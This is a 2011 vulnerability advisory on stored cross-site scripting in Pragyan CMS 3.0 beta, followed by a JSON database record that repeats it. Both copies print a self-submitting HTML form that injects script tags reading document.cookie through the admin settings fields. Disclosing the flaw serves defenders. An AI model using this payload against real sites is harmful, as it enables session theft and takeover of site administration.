Vulnerability ID: HTB22853
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pragyan_cms.html
Product: Pragyan CMS
Vendor: Pragyan Team ( http://sourceforge.net/projects/pragyan/ )
Vulnerable Version: v.3.0 beta
Vendor Notification: 17 February 2011
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "cms/admin.lib.php" script to properly sanitize user-supplied input in "cms_desc", "cms_keywords", "cms_footer" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/?page=/&action=admin&subaction=global" method="post" name="main">
<input type="hidden" name="cms_title" value="Pragyan CMS">
<input type="hidden" name="cms_desc" value='desc3"><script>alert(document.cookie)</script>'>
<input type="hidden" name="cms_keywords" value='Pragyan CMS"><script>alert(document.cookie)</script>'>
<input type="hidden" name="cms_footer" value='Powered by Praygan CMS"><script>alert(document.cookie)</script>'>
<input type="hidden" name="cms_email" value="email@example.com">
<input type="hidden" name="default_template" value="crystalx">
<input type="hidden" name="update_global_settings" value="">
</form>
<script>
document.main.submit();
</script>
Solution: Upgrade to the most recent version
{"id": "SECURITYVULNS:DOC:25831", "bulletinFamily": "software", "title": "HTB22853: XSS vulnerability in Pragyan CMS", "description": "Vulnerability ID: HTB22853\r\nReference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pragyan_cms.html\r\nProduct: Pragyan CMS\r\nVendor: Pragyan Team ( http://sourceforge.net/projects/pragyan/ ) \r\nVulnerable Version: v.3.0 beta\r\nVendor Notification: 17 February 2011 \r\nVulnerability Type: Stored XSS (Cross Site Scripting)\r\nStatus: Fixed by Vendor\r\nRisk level: Medium \r\nCredit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) \r\n\r\nVulnerability Details:\r\nUser can execute arbitrary JavaScript code within the vulnerable application.\r\n\r\nThe vulnerability exists due to failure in the "cms/admin.lib.php" script to properly sanitize user-supplied input in "cms_desc", "cms_keywords", "cms_footer" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.\r\n\r\nAn attacker can use browser to exploit this vulnerability. The following PoC is available:\r\n\r\n<form action="http://host/?page=/&action=admin&subaction=global" method="post" name="main">\r\n<input type="hidden" name="cms_title" value="Pragyan CMS">\r\n<input type="hidden" name="cms_desc" value='desc3"><script>alert(document.cookie)</script>'>\r\n<input type="hidden" name="cms_keywords" value='Pragyan CMS"><script>alert(document.cookie)</script>'>\r\n<input type="hidden" name="cms_footer" value='Powered by Praygan CMS"><script>alert(document.cookie)</script>'>\r\n<input type="hidden" name="cms_email" value="email@example.com">\r\n<input type="hidden" name="default_template" value="crystalx">\r\n<input type="hidden" name="update_global_settings" value="">\r\n</form>\r\n<script>\r\ndocument.main.submit();\r\n</script>\r\n\r\nSolution: Upgrade to the most recent version", "published": "2011-03-03T00:00:00", "modified": "2011-03-03T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:25831", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:39", "edition": 1, "viewCount": 35, "enchantments": {"score": {"value": 0.3, "vector": "NONE"}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:11476"]}], "rev": 4}, "backreferences": {"references": [{"type": "htbridge", "idList": ["HTB22853"]}]}, "exploitation": null, "vulnersScore": 0.3}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645307696, "score": 1659803227}, "_internal": {"score_hash": "2ae58f5c507e1b502c5b08878bcbba66"}}
HTB22853: XSS vulnerability in Pragyan CMS